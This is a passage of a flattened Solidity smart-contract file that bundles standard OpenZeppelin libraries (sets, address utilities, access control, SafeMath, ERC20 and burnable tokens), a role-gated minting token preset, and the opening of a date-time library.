* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File: contracts/tokens/ERC20PresetMinter.sol
pragma solidity ^0.6.0;
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter
* role, as well as the default admin role, which will let it grant both minter
* and pauser roles to another accounts
*/
contract ERC20PresetMinter is Context, AccessControl, ERC20Burnable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol, address owner, uint8 decimals) public ERC20(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, owner);
_setupRole(MINTER_ROLE, owner);
_setupDecimals(decimals);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinter: must have minter role to mint");
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
}
}
// File: contracts/tokens/IERC20Metadata.sol
pragma solidity >=0.4.21 <0.7.0;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: contracts/libs/BokkyPooBahsDateTimeLibrary/BokkyPooBahsDateTimeLibrary.sol
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// BokkyPooBah's DateTime Library v1.01
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyPooBahsDateTimeLibrary {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
require(year >= 1970);
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
